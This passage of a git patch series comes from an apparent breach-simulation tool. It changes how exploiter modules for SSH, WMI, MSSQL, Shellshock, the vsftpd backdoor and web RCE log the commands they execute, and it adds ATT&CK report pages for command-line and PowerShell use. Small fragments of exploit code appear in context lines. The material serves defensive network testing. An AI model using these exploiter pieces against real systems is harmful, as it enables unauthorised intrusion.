static getHashColumns() {
return ([{
columns: [
- {Header: 'Machine', id: 'machine', accessor: x => RenderMachine(x.machine), style: { 'whiteSpace': 'unset' }},
- {Header: 'Command', id: 'command', accessor: x => x.attempts[0].hashType, style: { 'whiteSpace': 'unset' }},
+ {Header: 'Machine', id: 'machine', accessor: x => RenderMachine(x.data[0].machine), style: { 'whiteSpace': 'unset'}, width: 160 },
+ {Header: 'Approx. Time', id: 'time', accessor: x => x.data[0].info.finished, style: { 'whiteSpace': 'unset' }},
+ {Header: 'Command', id: 'command', accessor: x => x.data[0].info.executed_cmds[0], style: { 'whiteSpace': 'unset' }},
]
}])};
@@ -26,9 +27,9 @@ class T1059 extends React.Component {
{this.props.data.status === 'USED' ?
: ""}
);
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js
index b10b1ff7d..20250873a 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js
@@ -10,13 +10,15 @@ import T1197 from '../attack/techniques/T1197';
import T1110 from '../attack/techniques/T1110';
import T1075 from "../attack/techniques/T1075";
import T1003 from "../attack/techniques/T1003";
+import T1059 from "../attack/techniques/T1059";
const tech_components = {
'T1210': T1210,
'T1197': T1197,
'T1110': T1110,
'T1075': T1075,
- 'T1003': T1003
+ 'T1003': T1003,
+ 'T1059': T1059
};
const classNames = require('classnames');
From 6636cd23e8b3aec3ed7f898b94ea683466c27739 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Mon, 10 Jun 2019 12:32:01 +0300
Subject: [PATCH 07/31] Changed cmds from array to dict
---
monkey/infection_monkey/exploit/__init__.py | 5 ++++-
monkey/infection_monkey/exploit/hadoop.py | 2 +-
monkey/infection_monkey/exploit/mssqlexec.py | 2 +-
monkey/infection_monkey/exploit/rdpgrinder.py | 2 +-
monkey/infection_monkey/exploit/shellshock.py | 2 +-
monkey/infection_monkey/exploit/sshexec.py | 2 +-
monkey/infection_monkey/exploit/vsftpd.py | 2 +-
monkey/infection_monkey/exploit/web_rce.py | 2 +-
monkey/infection_monkey/exploit/wmiexec.py | 2 +-
.../cc/services/attack/technique_reports/T1059.py | 2 +-
.../cc/ui/src/components/attack/techniques/T1059.js | 2 +-
11 files changed, 14 insertions(+), 11 deletions(-)
diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py
index 84dd81393..7cf1ac4cf 100644
--- a/monkey/infection_monkey/exploit/__init__.py
+++ b/monkey/infection_monkey/exploit/__init__.py
@@ -25,7 +25,7 @@ class HostExploiter(object):
'finished': '',
'vulnerable_urls': [],
'vulnerable_ports': [],
- 'executed_cmds': []}
+ 'executed_cmds': {}}
self._exploit_attempts = []
self.host = host
@@ -59,6 +59,9 @@ class HostExploiter(object):
def add_vuln_port(self, port):
self._exploit_info['vulnerable_ports'].append(port)
+ def add_example_cmd(self, cmd):
+ self._exploit_info['executed_cmds']['example'] = cmd
+
from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter
from infection_monkey.exploit.wmiexec import WmiExploiter
diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py
index 1e8ac9d8e..570575423 100644
--- a/monkey/infection_monkey/exploit/hadoop.py
+++ b/monkey/infection_monkey/exploit/hadoop.py
@@ -49,7 +49,7 @@ class HadoopExploiter(WebRCE):
return False
http_thread.join(self.DOWNLOAD_TIMEOUT)
http_thread.stop()
- self._exploit_info['executed_cmds'].append(command)
+ self.add_example_cmd(command)
return True
def exploit(self, url, command):
diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py
index 1f21f9ecd..d738cba60 100644
--- a/monkey/infection_monkey/exploit/mssqlexec.py
+++ b/monkey/infection_monkey/exploit/mssqlexec.py
@@ -76,7 +76,7 @@ class MSSQLExploiter(HostExploiter):
commands.extend(monkey_args)
MSSQLExploiter.execute_command(cursor, commands)
MSSQLExploiter.run_file(cursor, tmp_file_path)
- self._exploit_info['executed_cmds'].append(commands[-1])
+ self.add_example_cmd(commands[-1])
return True
@staticmethod
diff --git a/monkey/infection_monkey/exploit/rdpgrinder.py b/monkey/infection_monkey/exploit/rdpgrinder.py
index dcbc01b1d..1e66040fc 100644
--- a/monkey/infection_monkey/exploit/rdpgrinder.py
+++ b/monkey/infection_monkey/exploit/rdpgrinder.py
@@ -343,5 +343,5 @@ class RdpExploiter(HostExploiter):
LOG.info("Executed monkey '%s' on remote victim %r",
os.path.basename(src_path), self.host)
- self._exploit_info['executed_cmds'].append(command)
+ self.add_example_cmd(command)
return True
diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py
index b308c57fe..9db770905 100644
--- a/monkey/infection_monkey/exploit/shellshock.py
+++ b/monkey/infection_monkey/exploit/shellshock.py
@@ -144,7 +144,7 @@ class ShellShockExploiter(HostExploiter):
if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)):
LOG.info("Log file does not exist, monkey might not have run")
continue
- self._exploit_info['executed_cmds'].append(cmdline)
+ self.add_example_cmd(cmdline)
return True
return False
diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py
index 9aafae2a4..226ad8943 100644
--- a/monkey/infection_monkey/exploit/sshexec.py
+++ b/monkey/infection_monkey/exploit/sshexec.py
@@ -178,7 +178,7 @@ class SSHExploiter(HostExploiter):
self._config.dropper_target_path_linux, self.host, cmdline)
ssh.close()
- self._exploit_info['executed_cmds'].append(cmdline)
+ self.add_example_cmd(cmdline)
return True
except Exception as exc:
diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py
index 23a89a96e..f3f13c073 100644
--- a/monkey/infection_monkey/exploit/vsftpd.py
+++ b/monkey/infection_monkey/exploit/vsftpd.py
@@ -138,7 +138,7 @@ class VSFTPDExploiter(HostExploiter):
if backdoor_socket.send(run_monkey):
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux,
self.host, run_monkey)
- self._exploit_info['executed_cmds'].append(run_monkey)
+ self.add_example_cmd(run_monkey)
return True
else:
return False
diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py
index 57a4cfa60..053737075 100644
--- a/monkey/infection_monkey/exploit/web_rce.py
+++ b/monkey/infection_monkey/exploit/web_rce.py
@@ -420,7 +420,7 @@ class WebRCE(HostExploiter):
return False
LOG.info("Execution attempt finished")
- self._exploit_info['executed_cmds'].append(command)
+ self.add_example_cmd(command)
return resp
def get_monkey_upload_path(self, url_to_monkey):
diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py
index 29bc08981..b9decf433 100644
--- a/monkey/infection_monkey/exploit/wmiexec.py
+++ b/monkey/infection_monkey/exploit/wmiexec.py
@@ -114,7 +114,7 @@ class WmiExploiter(HostExploiter):
result.RemRelease()
wmi_connection.close()
-
+ self.add_example_cmd(cmdline)
return success
return False
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py
index 330b13c71..e85e27415 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py
@@ -13,7 +13,7 @@ class T1059(AttackTechnique):
used_msg = "Monkey successfully ran commands on exploited machines in the network."
query = [{'$match': {'telem_type': 'exploit',
- 'data.info.executed_cmds': {'$not': {'$size': 0}}}},
+ 'data.info.executed_cmds.example': {'$exists': True}}},
{'$project': {'_id': 0,
'machine': '$data.machine',
'info': '$data.info'}},
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
index 4a65ee34a..466474624 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
@@ -15,7 +15,7 @@ class T1059 extends React.Component {
columns: [
{Header: 'Machine', id: 'machine', accessor: x => RenderMachine(x.data[0].machine), style: { 'whiteSpace': 'unset'}, width: 160 },
{Header: 'Approx. Time', id: 'time', accessor: x => x.data[0].info.finished, style: { 'whiteSpace': 'unset' }},
- {Header: 'Command', id: 'command', accessor: x => x.data[0].info.executed_cmds[0], style: { 'whiteSpace': 'unset' }},
+ {Header: 'Command', id: 'command', accessor: x => x.data[0].info.executed_cmds.example, style: { 'whiteSpace': 'unset' }},
]
}])};
From 6ca33fff68c724d77c2788fe63b778bbbb8a8c20 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Mon, 10 Jun 2019 12:41:29 +0300
Subject: [PATCH 08/31] Added header to used commands table.
---
.../cc/ui/src/components/attack/techniques/T1059.js | 1 +
1 file changed, 1 insertion(+)
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
index 466474624..d1c809651 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
@@ -12,6 +12,7 @@ class T1059 extends React.Component {
static getHashColumns() {
return ([{
+ Header: 'Example commands used',
columns: [
{Header: 'Machine', id: 'machine', accessor: x => RenderMachine(x.data[0].machine), style: { 'whiteSpace': 'unset'}, width: 160 },
{Header: 'Approx. Time', id: 'time', accessor: x => x.data[0].info.finished, style: { 'whiteSpace': 'unset' }},
From dbf469f50ff4736b19446dc3e2ca30003263bbc9 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Mon, 10 Jun 2019 17:31:47 +0300
Subject: [PATCH 09/31] Powershell started
---
monkey/infection_monkey/exploit/__init__.py | 9 +++++++++
monkey/infection_monkey/exploit/hadoop.py | 1 +
monkey/infection_monkey/exploit/mssqlexec.py | 2 +-
monkey/infection_monkey/exploit/web_rce.py | 2 +-
monkey/infection_monkey/exploit/weblogic.py | 4 ++--
5 files changed, 14 insertions(+), 4 deletions(-)
diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py
index 7cf1ac4cf..a1bcb2e6f 100644
--- a/monkey/infection_monkey/exploit/__init__.py
+++ b/monkey/infection_monkey/exploit/__init__.py
@@ -62,6 +62,15 @@ class HostExploiter(object):
def add_example_cmd(self, cmd):
self._exploit_info['executed_cmds']['example'] = cmd
+ def add_powershell_cmd(self, cmd):
+ """
+ Determines if command uses powershell and if so adds that command to exploiter info
+ :param cmd: Command used
+ :return: None
+ """
+ if "powershell" in cmd.lower():
+ self._exploit_info['executed_cmds']['powershell'] = cmd
+
from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter
from infection_monkey.exploit.wmiexec import WmiExploiter
diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py
index 570575423..54d0ef6da 100644
--- a/monkey/infection_monkey/exploit/hadoop.py
+++ b/monkey/infection_monkey/exploit/hadoop.py
@@ -49,6 +49,7 @@ class HadoopExploiter(WebRCE):
return False
http_thread.join(self.DOWNLOAD_TIMEOUT)
http_thread.stop()
+ self.add_powershell_cmd(command)
self.add_example_cmd(command)
return True
diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py
index d738cba60..84719c6ea 100644
--- a/monkey/infection_monkey/exploit/mssqlexec.py
+++ b/monkey/infection_monkey/exploit/mssqlexec.py
@@ -65,7 +65,7 @@ class MSSQLExploiter(HostExploiter):
"xp_cmdshell \">%s\"" % (dst_path, tmp_file_path)]
MSSQLExploiter.execute_command(cursor, commands)
MSSQLExploiter.run_file(cursor, tmp_file_path)
-
+ self.add_powershell_cmd(' '.join(commands))
# Form monkey's command in a file
monkey_args = tools.build_monkey_commandline(self.host,
tools.get_monkey_depth() - 1,
diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py
index 053737075..e21e6e119 100644
--- a/monkey/infection_monkey/exploit/web_rce.py
+++ b/monkey/infection_monkey/exploit/web_rce.py
@@ -337,7 +337,7 @@ class WebRCE(HostExploiter):
command = self.get_command(paths['dest_path'], http_path, commands)
resp = self.exploit(url, command)
-
+ self.add_powershell_cmd(command)
resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path)
http_thread.join(DOWNLOAD_TIMEOUT)
diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py
index 4c99f82b9..f6df5f0fa 100644
--- a/monkey/infection_monkey/exploit/weblogic.py
+++ b/monkey/infection_monkey/exploit/weblogic.py
@@ -20,8 +20,8 @@ __author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
# How long server waits for get request in seconds
SERVER_TIMEOUT = 4
-# How long should be wait after each request in seconds
-REQUEST_DELAY = 0.0001
+# How long should we wait after each request in seconds
+REQUEST_DELAY = 0.1
# How long to wait for a sign(request from host) that server is vulnerable. In seconds
REQUEST_TIMEOUT = 5
# How long to wait for response in exploitation. In seconds
From 9cc526ca09ff6b597ba82371c07b8163fcb08c09 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Mon, 10 Jun 2019 17:33:00 +0300
Subject: [PATCH 10/31] web_rce bugfix
---
monkey/infection_monkey/exploit/web_rce.py | 1 +
1 file changed, 1 insertion(+)
diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py
index 053737075..8c478a8ac 100644
--- a/monkey/infection_monkey/exploit/web_rce.py
+++ b/monkey/infection_monkey/exploit/web_rce.py
@@ -407,6 +407,7 @@ class WebRCE(HostExploiter):
# If exploiter returns True / False
if type(resp) is bool:
LOG.info("Execution attempt successfully finished")
+ self.add_example_cmd(command)
return resp
# If exploiter returns command output, we can check for execution errors
if 'is not recognized' in resp or 'command not found' in resp:
From 71edd48166f0c89171777852300edb51c6709799 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Mon, 10 Jun 2019 18:28:51 +0300
Subject: [PATCH 11/31] Powershell implementation started
---
.../cc/services/attack/attack_report.py | 5 ++-
.../cc/services/attack/attack_schema.py | 8 ++++
.../attack/technique_reports/T1086.py | 30 ++++++++++++++
.../src/components/attack/techniques/T1086.js | 40 +++++++++++++++++++
4 files changed, 81 insertions(+), 2 deletions(-)
create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/T1086.py
create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js
diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py
index 4ec62d7a2..9a5e57633 100644
--- a/monkey/monkey_island/cc/services/attack/attack_report.py
+++ b/monkey/monkey_island/cc/services/attack/attack_report.py
@@ -1,5 +1,5 @@
import logging
-from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059
+from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086
from monkey_island.cc.services.attack.attack_telem import AttackTelemService
from monkey_island.cc.services.attack.attack_config import AttackConfig
from monkey_island.cc.database import mongo
@@ -14,7 +14,8 @@ TECHNIQUES = {'T1210': T1210.T1210,
'T1110': T1110.T1110,
'T1075': T1075.T1075,
'T1003': T1003.T1003,
- 'T1059': T1059.T1059}
+ 'T1059': T1059.T1059,
+ 'T1086': T1086.T1086}
REPORT_NAME = 'new_report'
diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py
index a79b57a87..24c8cf1c6 100644
--- a/monkey/monkey_island/cc/services/attack/attack_schema.py
+++ b/monkey/monkey_island/cc/services/attack/attack_schema.py
@@ -95,6 +95,14 @@ SCHEMA = {
"necessary": True,
"description": "Adversaries may use command-line interfaces to interact with systems "
"and execute other software during the course of an operation.",
+ },
+ "T1086": {
+ "title": "T1086 Powershell",
+ "type": "bool",
+ "value": True,
+ "necessary": True,
+ "description": "Adversaries can use PowerShell to perform a number of actions,"
+ " including discovery of information and execution of code.",
}
}
},
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py
new file mode 100644
index 000000000..1dc2e9a67
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py
@@ -0,0 +1,30 @@
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+from common.utils.attack_utils import ScanStatus
+from monkey_island.cc.database import mongo
+
+__author__ = "VakarisZ"
+
+
+class T1086(AttackTechnique):
+
+ tech_id = "T1086"
+ unscanned_msg = "Monkey didn't run powershell."
+ scanned_msg = ""
+ used_msg = "Monkey successfully ran powershell commands on exploited machines in the network."
+
+ query = [{'$match': {'telem_type': 'exploit',
+ 'data.info.executed_cmds.powershell': {'$exists': True}}},
+ {'$project': {'_id': 0,
+ 'machine': '$data.machine',
+ 'info': '$data.info'}},
+ {'$group': {'_id': '$machine', 'data': {'$push': '$$ROOT'}}}]
+
+ @staticmethod
+ def get_report_data():
+ cmd_data = list(mongo.db.telemetry.aggregate(T1086.query))
+ data = {'title': T1086.technique_title(T1086.tech_id), 'cmds': cmd_data}
+ if cmd_data:
+ data.update({'message': T1086.used_msg, 'status': ScanStatus.USED.name})
+ else:
+ data.update({'message': T1086.unscanned_msg, 'status': ScanStatus.UNSCANNED.name})
+ return data
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js
new file mode 100644
index 000000000..d0b7c2928
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js
@@ -0,0 +1,40 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import { RenderMachine } from "./Helpers"
+
+
+class T1086 extends React.Component {
+
+ constructor(props) {
+ super(props);
+ }
+
+ static getPowershellColumns() {
+ return ([{
+ Header: 'Example Powershell commands used',
+ columns: [
+ {Header: 'Machine', id: 'machine', accessor: x => RenderMachine(x.data[0].machine), style: { 'whiteSpace': 'unset'}, width: 160 },
+ {Header: 'Approx. Time', id: 'time', accessor: x => x.data[0].info.finished, style: { 'whiteSpace': 'unset' }},
+ {Header: 'Command', id: 'command', accessor: x => x.data[0].info.executed_cmds.powershell, style: { 'whiteSpace': 'unset' }},
+ ]
+ }])};
+
+ render() {
+ return (
+
+
{this.props.data.message}
+
+ {this.props.data.status === 'USED' ?
+
: ""}
+
+ );
+ }
+}
+
+export default T1086;
From 911c2e8b13116565c8b8ff80e5ae206617aa5603 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Tue, 11 Jun 2019 14:33:37 +0300
Subject: [PATCH 12/31] technique added to report UI
---
.../cc/ui/src/components/report-components/AttackReport.js | 6 ++++--
1 file changed, 4 insertions(+), 2 deletions(-)
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js
index 20250873a..87f6f0a38 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js
@@ -2,7 +2,7 @@ import React from 'react';
import {Col} from 'react-bootstrap';
import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
import {edgeGroupToColor, options} from 'components/map/MapOptions';
-import '../../styles/Collapse.scss'
+import '../../styles/Collapse.scss';
import AuthComponent from '../AuthComponent';
import Collapse from '@kunukn/react-collapse';
import T1210 from '../attack/techniques/T1210';
@@ -11,6 +11,7 @@ import T1110 from '../attack/techniques/T1110';
import T1075 from "../attack/techniques/T1075";
import T1003 from "../attack/techniques/T1003";
import T1059 from "../attack/techniques/T1059";
+import T1086 from "../attack/techniques/T1086";
const tech_components = {
'T1210': T1210,
@@ -18,7 +19,8 @@ const tech_components = {
'T1110': T1110,
'T1075': T1075,
'T1003': T1003,
- 'T1059': T1059
+ 'T1059': T1059,
+ 'T1086': T1086
};
const classNames = require('classnames');
From 8505ad0ca80d1a4a19a2350e1bd209d4b6be0542 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Tue, 18 Jun 2019 16:36:37 +0300
Subject: [PATCH 13/31] Refactored AttackTechnique methods to use @classmethod
and minor improvenets in UI
---
.../attack/technique_reports/T1075.py | 8 +--
.../attack/technique_reports/T1110.py | 6 +-
.../attack/technique_reports/T1197.py | 2 +-
.../attack/technique_reports/__init__.py | 63 +++++++++++--------
.../components/attack/techniques/Helpers.js | 2 +-
.../src/components/attack/techniques/T1075.js | 20 +++---
.../src/components/attack/techniques/T1110.js | 4 +-
.../src/components/attack/techniques/T1197.js | 4 +-
.../src/components/attack/techniques/T1210.js | 6 +-
9 files changed, 63 insertions(+), 52 deletions(-)
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py
index 2ac3d5420..18082dfc1 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py
@@ -16,7 +16,7 @@ class T1075(AttackTechnique):
{'lm_hash': {'$ne': ''}}]}}}
# Gets data about successful PTH logins
- query = [{'$match': {'telem_type': 'exploit',
+ query = [{'$match': {'telem_category': 'exploit',
'data.attempts': {'$not': {'$size': 0},
'$elemMatch': {'$and': [{'$or': [{'ntlm_hash': {'$ne': ''}},
{'lm_hash': {'$ne': ''}}]},
@@ -35,9 +35,9 @@ class T1075(AttackTechnique):
successful_logins = list(mongo.db.telemetry.aggregate(T1075.query))
data.update({'successful_logins': successful_logins})
if successful_logins:
- data.update({'message': T1075.used_msg, 'status': ScanStatus.USED.name})
+ data.update(T1075.get_message_and_status(ScanStatus.USED))
elif mongo.db.telemetry.count_documents(T1075.login_attempt_query):
- data.update({'message': T1075.scanned_msg, 'status': ScanStatus.SCANNED.name})
+ data.update(T1075.get_message_and_status(ScanStatus.SCANNED))
else:
- data.update({'message': T1075.unscanned_msg, 'status': ScanStatus.UNSCANNED.name})
+ data.update(T1075.get_message_and_status(ScanStatus.UNSCANNED))
return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py
index 7fe5ac90f..e8e4a62c3 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py
@@ -35,11 +35,11 @@ class T1110(AttackTechnique):
result['successful_creds'].append(T1110.parse_creds(attempt))
if succeeded:
- data = T1110.get_message_and_status(T1110, ScanStatus.USED)
+ data = T1110.get_message_and_status(ScanStatus.USED)
elif attempts:
- data = T1110.get_message_and_status(T1110, ScanStatus.SCANNED)
+ data = T1110.get_message_and_status(ScanStatus.SCANNED)
else:
- data = T1110.get_message_and_status(T1110, ScanStatus.UNSCANNED)
+ data = T1110.get_message_and_status(ScanStatus.UNSCANNED)
# Remove data with no successful brute force attempts
attempts = [attempt for attempt in attempts if attempt['attempts']]
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py
index 0aaab082b..11e79877b 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py
@@ -12,7 +12,7 @@ class T1197(AttackTechnique):
@staticmethod
def get_report_data():
- data = T1197.get_tech_base_data(T1197)
+ data = T1197.get_tech_base_data()
bits_results = mongo.db.attack_results.aggregate([{'$match': {'technique': T1197.tech_id}},
{'$group': {'_id': {'ip_addr': '$machine.ip_addr', 'usage': '$usage'},
'ip_addr': {'$first': '$machine.ip_addr'},
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py
index 8d60e963f..f37f4e082 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py
@@ -47,51 +47,60 @@ class AttackTechnique(object):
pass
@staticmethod
- def technique_status(technique):
+ def technique_status(tech_id):
"""
Gets the status of a certain attack technique.
- :param technique: technique's id.
+ :param tech_id: ID of attack technique, for e.g. T1110
:return: ScanStatus Enum object
"""
- if mongo.db.attack_results.find_one({'status': ScanStatus.USED.value, 'technique': technique}):
+ if mongo.db.attack_results.find_one({'status': ScanStatus.USED.value, 'technique': tech_id}):
return ScanStatus.USED
- elif mongo.db.attack_results.find_one({'status': ScanStatus.SCANNED.value, 'technique': technique}):
+ elif mongo.db.attack_results.find_one({'status': ScanStatus.SCANNED.value, 'technique': tech_id}):
return ScanStatus.SCANNED
else:
return ScanStatus.UNSCANNED
- @staticmethod
- def get_message_and_status(technique, status):
- return {'message': technique.get_message_by_status(technique, status), 'status': status.name}
-
- @staticmethod
- def get_message_by_status(technique, status):
- if status == ScanStatus.UNSCANNED:
- return technique.unscanned_msg
- elif status == ScanStatus.SCANNED:
- return technique.scanned_msg
- else:
- return technique.used_msg
-
- @staticmethod
- def technique_title(technique):
+ @classmethod
+ def get_message_and_status(cls, status):
"""
- :param technique: Technique's id. E.g. T1110
+ Returns a dict with attack technique's message and status.
+ :param status: Enum type value from common/attack_utils.py
+ :return: Dict with message and status
+ """
+ return {'message': cls.get_message_by_status(status), 'status': status.name}
+
+ @classmethod
+ def get_message_by_status(cls, status):
+ """
+ Picks a message to return based on status.
+ :param status: Enum type value from common/attack_utils.py
+ :return: message string
+ """
+ if status == ScanStatus.UNSCANNED:
+ return cls.unscanned_msg
+ elif status == ScanStatus.SCANNED:
+ return cls.scanned_msg
+ else:
+ return cls.used_msg
+
+ @staticmethod
+ def technique_title(tech_id):
+ """
+ :param tech_id: Technique's id. E.g. T1110
:return: techniques title. E.g. "T1110 Brute force"
"""
- return AttackConfig.get_technique(technique)['title']
+ return AttackConfig.get_technique(tech_id)['title']
- @staticmethod
- def get_tech_base_data(technique):
+ @classmethod
+ def get_tech_base_data(cls):
"""
Gathers basic attack technique data into a dict.
- :param technique: Technique's id. E.g. T1110
:return: dict E.g. {'message': 'Brute force used', 'status': 'Used', 'title': 'T1110 Brute force'}
"""
data = {}
- status = AttackTechnique.technique_status(technique.tech_id)
- title = AttackTechnique.technique_title(technique.tech_id)
+ status = AttackTechnique.technique_status(cls.tech_id)
+ title = AttackTechnique.technique_title(cls.tech_id)
data.update({'status': status.name,
'title': title,
- 'message': technique.get_message_by_status(technique, status)})
+ 'message': cls.get_message_by_status(status)})
return data
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js
index b15bba693..785e4a295 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js
@@ -1,6 +1,6 @@
import React from "react";
-export function RenderMachine(val){
+export function renderMachine(val){
return (
{val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}
)
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js
index 6e80c9196..35fd0cbaa 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js
@@ -1,26 +1,28 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { RenderMachine } from "./Helpers"
+import { renderMachine } from "./Helpers"
class T1075 extends React.Component {
constructor(props) {
super(props);
- this.props.data.successful_logins.forEach((login) => {
- if(login.attempts[0].ntlm_hash !== ""){
- login.attempts[0].hashType = 'NTLM';
- } else if(login.attempts[0].lm_hash !== ""){
- login.attempts[0].hashType = 'LM';
- }
- })
+ this.props.data.successful_logins.forEach((login) => this.setLoginHashType(login))
+ }
+
+ setLoginHashType(login){
+ if(login.attempts[0].ntlm_hash !== ""){
+ login.attempts[0].hashType = 'NTLM';
+ } else if(login.attempts[0].lm_hash !== ""){
+ login.attempts[0].hashType = 'LM';
+ }
}
static getHashColumns() {
return ([{
columns: [
- {Header: 'Machine', id: 'machine', accessor: x => RenderMachine(x.machine), style: { 'whiteSpace': 'unset' }},
+ {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: { 'whiteSpace': 'unset' }},
{Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }},
{Header: 'Username', id: 'attempts', accessor: x => x.attempts[0].user, style: { 'whiteSpace': 'unset' }},
{Header: 'Hash type', id: 'credentials', accessor: x => x.attempts[0].hashType, style: { 'whiteSpace': 'unset' }},
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js
index 468a9e79a..294606d25 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { RenderMachine } from "./Helpers"
+import { renderMachine } from "./Helpers"
class T1110 extends React.Component {
@@ -13,7 +13,7 @@ class T1110 extends React.Component {
static getServiceColumns() {
return ([{
columns: [
